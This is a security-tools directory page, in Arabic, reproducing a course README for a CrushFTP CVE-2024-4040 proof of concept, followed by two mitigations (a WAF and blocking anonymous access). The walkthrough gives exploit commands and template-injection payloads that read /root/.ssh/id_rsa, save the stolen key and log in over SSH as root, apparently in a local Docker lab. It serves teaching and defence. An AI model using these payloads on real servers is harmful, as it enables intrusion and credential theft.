Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — استغلال إثبات مفهوم لـ CVE-2024-4040، يوضح SSTI غير مصادق عليه وقراءة ملفات محلية في CrushFTP، مع مختبر Docker واستراتيجيات تخفيف. | Kitploit
أدوات/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

استغلال إثبات مفهوم لـ CVE-2024-4040، يوضح SSTI غير مصادق عليه وقراءة ملفات محلية في CrushFTP، مع مختبر Docker واستراتيجيات تخفيف.

عرض المستودع
14منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4040 الثغرة — إثبات المفهوم لـ CrushFTP SSTI / LFI

للاستخدام التعليمي والمعملي المصرح به فقط.
لوحدة CS443 أمن البرمجيات والأنظمة. تم تنفيذ التمرين في بيئة Docker محلية خاضعة للتحكم.


ملخص الثغرة

الحقلالتفصيل
CVECVE-2024-4040
البرنامج المتأثرCrushFTP < 10.7.1 (فرع v10) / < 11.1.0 (فرع v11)
نوع الثغرةحقن قالب من جانب الخادم (SSTI) → قراءة ملفات محلية بدون مصادقة
درجة CVSS9.8 حرجة
الأثريمكن للمهاجمين غير المصادقين قراءة ملفات عشوائية من نظام ملفات الخادم

يقوم WebInterface في CrushFTP بتقييم تعبيرات القوالب في معامل path لأمر zip دون تنقية. يمكن للمهاجم غير المصادق الحصول على ملفات تعريف ارتباط جلسة مجهولة، ثم استخدامها لتمرير حمولات القوالب ({working_dir}، <INCLUDE>…</INCLUDE>) التي يقوم الخادم بتقييمها وإرجاعها — مما يسمح بقراءة ملفات عشوائية عبر المضيف.


البيئة المعملية

المكونالقيمة
الهدفhttp://localhost:8080
إصدار CrushFTP الأساسي لـ PoC10.3.0 (ضعيف عمدًا)
بيئة اختبار Mitigation 3حاوية منفصلة تعمل بـ CrushFTP 11.x (الفرع المُصحَّح)
منفذ SSH (الحاوية)2222 → 22
بيانات اعتماد المشرفadmin / admin
وقت تشغيل الحاويةDocker (Compose)

المتطلبات المسبقة

pip install requests rich

البرامج النصية

البرنامج النصيالمصدرالغرض
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCاستغلال SSTI/LFI كامل — سرقة الجلسة، قراءة ملفات عشوائية
recon.pyهذا المستودعكشف الإصدار، فحص SSTI مباشر، تأكيد الثغرة

دليل إثبات المفهوم خطوة بخطوة

الخطوة 1 — تشغيل المختبر

docker-compose up -d

انتظر حوالي 10 ثوانٍ حتى يكتمل تهيئة CrushFTP قبل تشغيل البرامج النصية. ليست هناك حاجة لخطوة استطلاع منفصلة هنا لأن crushed.py يتحقق بالفعل مما إذا كان الاستغلال ممكنًا أثناء التنفيذ.


الخطوة 2 — سرقة المفتاح الخاص لـ SSH عبر LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

سيقوم البرنامج النصي بـ:

  1. الحصول على جلسة مجهولة CrushAuth / currentAuth من /WebInterface/
  2. استخدام SSTI لتأكيد تقييم القالب وكشف اسم مضيف الخادم
  3. استخدام {working_dir} لحل دليل تثبيت CrushFTP
  4. استخدام <INCLUDE>/root/.ssh/id_rsa</INCLUDE> لقراءة الملف المستهدف
  5. طباعة محتويات الملف الخام إلى stdout

انسخ كتلة المفتاح الخاص من المخرجات (كل شيء من -----BEGIN OPENSSH PRIVATE KEY----- إلى -----END OPENSSH PRIVATE KEY-----).


الخطوة 3 — حفظ المفتاح المسروق

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<الصق المفتاح من المخرجات>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

الخطوة 4 — الاتصال SSH بالحاوية كجذر

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

الخطوة 5 — تأكيد الوصول كجذر

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

رسم تخطيطي لسلسلة الهجوم

مهاجم غير مصادق
        │
        ▼
GET /WebInterface/          ← يحصل على ملفات تعريف الارتباط CrushAuth + currentAuth المجهولة
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← تأكيد SSTI — تم تقييم القالب بواسطة الخادم
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← يسرب مسار التثبيت المطلق
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← قراءة ملف عشوائي
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← قشرة جذر كاملة

المشكلات المعروفة الرئيسية في crushed.py

المشكلةالموقعالتفاصيل
اعتماد مفقودالسطور 6–9يتطلب pip install rich قبل التشغيل
تحليل XML هشالسطور 86، 140يتعطل مع استجابات الخادم غير XML؛ لا معالجة لـ ParseError
التعبير النمطي للرمز صارم جدًاالسطور 160–161قد لا يتطابق نمط CrushAuth=…; currentAuth=… مع جميع تنسيقات sessions.obj
فقط HTTP 404السطر 53ينجح الحصول على ملف تعريف الارتباط فقط عند 404؛ يمر بصمت على رموز الحالة الأخرى

استراتيجيات التخفيف

التخفيف 1 — جدار حماية تطبيق الويب (NGINX + ModSecurity)

نظرة عامة

يعمل WAF كوسيط عكسي يفحص حركة مرور HTTP/S الواردة قبل وصولها إلى CrushFTP. باستخدام NGINX مع ModSecurity، يتم حظر الطلبات الضارة التي تستغل CVE-2024-4040 على حافة الشبكة دون تعديل CrushFTP نفسه.

كيف يخفف من CVE-2024-4040

  • يحجب أنماط اجتياز المسار (على سبيل المثال، ../, %2e%2e) في عناوين URI للطلب وملفات تعريف الارتباط
  • يمنع طلبات هروب VFS غير المصادقة من الوصول إلى CrushFTP
  • يسجل ويرفض الحمولات المشبوهة قبل وصولها إلى التطبيق

إعداد Docker

استخدم Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

تكوين NGINX

استخدم Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

تدفق حركة المرور

مهاجم -> NGINX WAF (المنفذ 80) -> يحجب الضار -> 403 ممنوع
                            -> يمرر النظيف -> CrushFTP:8080

القيود

  • لا يصحح السبب الجذري - يظل CrushFTP ضعيفًا في حالة تجاوز WAF
  • يتطلب تحديث القواعد مع تطوير المهاجمين لتقنيات الإخفاء

التخفيف 2 — تعطيل وصول المستخدم المجهول

نظرة عامة

يمكن استغلال CVE-2024-4040 دون مصادقة. في هذا المختبر، يتم حظر الوصول من النمط المجهول على طبقة NGINX عن طريق طلب رأس Authorization قبل توجيه المسارات الحساسة إلى CrushFTP.

كيف يخفف من CVE-2024-4040

  • تعتمد البرامج النصية للاستغلال مثل crushed.py على الوصول غير المصادق؛ يتم رفض الطلبات بدون بيانات اعتماد بـ 401
  • يتم رفض الطلبات إلى /WebInterface/ و / ما لم تكن بيانات المصادقة موجودة
  • يقلل من تعرض النقاط النهائية الضعيفة للمستخدمين غير المصادقين

إعداد Docker (بالضبط من Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

سياسة NGINX (بالضبط من Mitigation 2/nginx.conf)

events {}
http {
  server {
    listen 80;

    # السماح بالأصول الثابتة بدون مصادقة
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # حظر الوصول غير المصادق إلى WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # حظر كل شيء آخر بدون مصادقة
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

التحقق عبر Docker

تنزيل الأداة